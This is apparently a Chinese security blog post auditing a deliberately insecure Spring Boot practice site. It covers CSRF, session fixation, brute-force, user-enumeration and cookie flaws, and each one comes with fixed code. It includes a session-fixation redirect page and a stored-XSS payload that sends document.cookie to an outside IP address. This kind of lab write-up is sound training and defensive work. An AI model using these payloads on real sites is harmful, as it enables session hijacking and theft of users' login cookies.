avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home javaspring项目利用
文章

javaspring项目利用

Posted 2025-08-10 Updated 2025-08- 12
By Administrator
24~31 min read

这个项目完全就是个框架,只是勉强实现了业务逻辑,基本什么安全性都没有考虑。

codeql database create databaseName --source-root=D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-master\springboot2-website --language=java

codeql database analyze D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-master\springboot2-website\databaseName D:\codeql\ql\java\ql\src\Security\CWE --format=csv --output=result.csv

CSRF

deleteCoins

 @GetMapping("/deleteCoins")
    @ResponseBody
    public String addCoins(HttpServletRequest request, int amount) {
        HttpSession session = request.getSession();

        System.out.println(amount);
        Integer userId = (Integer) session.getAttribute("userId");
        String username  = (String) session.getAttribute("username");
        System.out.println(userId);
        System.out.println(username);

        User user =  userService.findByUsername(username);
        Integer id = user.getId();
        System.out.println(id);
        userId = id;

        if (userId != null) {
            System.out.println("userId不是空");
            boolean success = propertiesService.deleteCoins(userId, amount);
            if (success) {
                return "success";
            }
        }
        return "fail";
    }

根据路由构造请求

就可以对金额进行更改

//购买商品的时候,消费金币
public boolean deleteCoins(Integer userId,int amount){
    Properties properties = propertiesMapper.findByUserId(userId);
    if (properties != null) {
        properties.setBalance(properties.getBalance() - amount);
        propertiesMapper.update(properties);
        return true;
    }
    return false;
}

这里对于amout参数也没有进行认证,基本就只是实现了基础逻辑

这里的 userId 和 username 从 session 获取,没有验证是否存在,也没有进行csrf防护

所以完整的改进代码应该是

@PostMapping("/deleteCoins")
@ResponseBody
public ResponseEntity<Map<String, Object>> deleteCoins(
        HttpServletRequest request,
        @RequestParam @Min(1) @Max(10000) int amount,
        @RequestParam String csrfToken) {
    
    Map<String, Object> response = new HashMap<>();
    HttpSession session = request.getSession();

    // 1. 验证会话
    Integer userId = (Integer) session.getAttribute("userId");
    String username = (String) session.getAttribute("username");
    String sessionToken = (String) session.getAttribute("csrfToken");

    if (userId == null || username == null) {
        response.put("status", "error");
        response.put("message", "未登录");
        return ResponseEntity.status(401).body(response);
    }

    // 2. 验证CSRF
    if (!csrfToken.equals(sessionToken)) {
        response.put("status", "error");
        response.put("message", "非法请求");
        return ResponseEntity.status(403).body(response);
    }

    // 3. 验证用户一致性
    User user = userService.findByUsername(username);
    if (user == null || !user.getId().equals(userId)) {
        session.invalidate();
        response.put("status", "error");
        response.put("message", "会话失效");
        return ResponseEntity.status(401).body(response);
    }

    // 4. 验证金币余额
    int currentCoins = propertiesService.getUserCoins(userId);
    if (currentCoins < amount) {
        response.put("status", "error");
        response.put("message", "金币不足");
        return ResponseEntity.status(400).body(response);
    }

    // 5. 执行操作
    boolean success = propertiesService.deleteCoins(userId, amount);
    if (success) {
        log.info("用户 {} 成功扣除 {} 金币", username, amount);
        response.put("status", "success");
        response.put("remaining", currentCoins - amount);
        return ResponseEntity.ok(response);
    }

    response.put("status", "error");
    response.put("message", "操作失败");
    return ResponseEntity.status(500).body(response);
}

checkLogin

@GetMapping("/checkLogin")
    @ResponseBody
    public String checkLogin(HttpServletRequest request) {
        HttpSession session = request.getSession();
        // 检查是否存在用户名
        if (session.getAttribute("username") != null) {
            return "true"; // 用户已登录
        } else {
            return "false"; // 用户未登录
        }
    }

checkLogin通过session判断登录状态

先看一下session是怎么设置的

@PostMapping("/login")
public ModelAndView login(@RequestParam("username") String username,
                          @RequestParam("password") String password,
                          HttpServletRequest request) {
    User user = userService.authenticate(username, password);
    if (user != null) {
        HttpSession session = request.getSession();
        session.setAttribute("username", username);
        return new ModelAndView("redirect:/index.html");
    } else {
        //return new ModelAndView("login").addObject("error", "Invalid username or password");
        return new ModelAndView("redirect:/loginFail.html");
    }
}

账号密码校验成功之后就开始设置session

重点在于这两句HttpSession session = request.getSession();

session.setAttribute("username", username);

如果请求中包含SessionID(通常通过 JSESSIONID Cookie),服务器查找对应的Session对象并返回,如果没有则创建新的session。

在网页中可以看到cookie就存储在这里

其实这里有个问题就是这里是可以不登出而直接登录其他账号的,那么这样的话,其实session是不变的。这里设置session的意义好像也不大,也没有设置时间限制

设置成

 @PostMapping("/login")
    public ModelAndView login(@RequestParam("username") String username,
                              @RequestParam("password") String password,
                              HttpServletRequest request) {
        User user = userService.authenticate(username, password);
        if (user != null) {
            HttpSession session = request.getSession();

            // 使旧会话失效(安全措施)
            session.invalidate();

            // 创建新会话
            session = request.getSession(true);
            session.setAttribute("username", username);
            session.setAttribute("ip", request.getRemoteAddr());
            // 设置超时时间(秒)
            session.setMaxInactiveInterval(60 * 30); // 30分钟
            return new ModelAndView("redirect:/index.html");
        } else {
            //return new ModelAndView("login").addObject("error", "Invalid username or password");
            return new ModelAndView("redirect:/loginFail.html");
        }
    }

更加合理

不恰当的输入验证

意料之中的,就是有很多,选一个利用和恢复一下

@PostMapping("/adminLogin")
    public ModelAndView adminLogin(@RequestParam("username") String username,
                                   @RequestParam("password") String password,
                                   HttpServletRequest request) {
        Admin admin = adminService.authenticate(username, password);
        if (admin != null) {
            HttpSession session = request.getSession();
            session.setAttribute("adminName", username);
            return new ModelAndView("redirect:/admin_index.html");
        } else {
            return new ModelAndView("redirect:/admin_loginFail.html");
        }
    }

固定会话攻击

由于直接使用现有会话,而未创建新会话

可预先设置会话ID,诱导管理员使用该会话登录,从而劫持管理员会话

构造此页面实现携带固定session自动跳转登录

<!DOCTYPE html>
<html>
<head>
    <title>恶意演示页面</title>
    <meta http-equiv="refresh" content="0; url=http://127.0.0.1:8082/admin_login.html?JSESSIONID=0F733F6DF8680C8D41110548E164578C">
</head>
<body>
    正在跳转...
</body>
</html>

当前管理员的cookie就是攻击者指定cookie

那么攻击者就可以利用此JSESSIONID访问系统执行需要管理员认证的相关操作如:

获取系统相关信息

如

新增一个管理员

修复

防御会话固定

if (admin != null) {
    // 使旧会话失效并创建新会话
    request.getSession().invalidate();
    HttpSession session = request.getSession(true);
    
    // 设置安全属性
    session.setAttribute("adminName", username);
    session.setAttribute("isAdmin", true);
}

缺乏暴力破解保护

修复

增加登录保护

// 在控制器方法前添加
@PostMapping("/adminLogin")
@RateLimit(attempts = 5, duration = 15, unit = TimeUnit.MINUTES)
public ModelAndView adminLogin(...) {
    // ...
}

这个 @RateLimit 注解的作用是为管理员登录接口添加请求频率限制,防止暴力破解攻击./

敏感信息暴露

登录失败之后会固定重定向到失败界面,可以借此判断用户名密码是否正确

修复

统一登陆响应

// 无论成功失败都返回相同页面
return new ModelAndView("redirect:/admin_login.html?status=error");

缺乏安全头部

未设置安全cookie属性,可能遭受xss或中间人攻击

可以通过xss窃取未设置httpOnly的会话cookie

先在留言板页面测试一下xss漏洞点

<img src=x onerror=alert(1)>

确认此处存在xss漏洞

<img src=x onerror="document.location='http://47.111.94.227/xss/steal?cookie=' + encodeURIComponent(document.cookie)">

在留言板界面注入存储型xss,窃取cookie

修复

//设置 HttpOnly Cookie
@Bean
public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setCookieName("JSESSIONID");
    serializer.setUseHttpOnlyCookie(true); // 阻止 JavaScript 读取
    serializer.setUseSecureCookie(true);   // 仅 HTTPS 传输
    return serializer;
}

//启用 CSP(内容安全策略)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

//输入过滤 & 输出编码

public String sanitizeInput(String input) {
    return HtmlUtils.htmlEscape(input); // 转义 < > & 等特殊字符
}

靶场
靶场
License:  CC BY 4.0
Share

Further Reading

Aug 10, 2025

javaspring项目利用

这个项目完全就是个框架,只是勉强实现了业务逻辑,基本什么安全性都没有考虑。 codeql database create databaseName --source-root=D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-mas

Aug 9, 2025

java-sec-code

靶场地址:https://github.com/JoyChou93/java-sec-code CSRF CSRF 漏洞的核心是:攻击者诱导已登录目标网站的用户,在不知情的情况下发送恶意请求(利用用户的合法会话),而服务器未验证请求的合法性(缺少 CSRF 令牌校验),导致请求被成功执行。

OLDER

java-sec-code

NEWER

Java反序列化基础2——java反射+URLDNS链

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy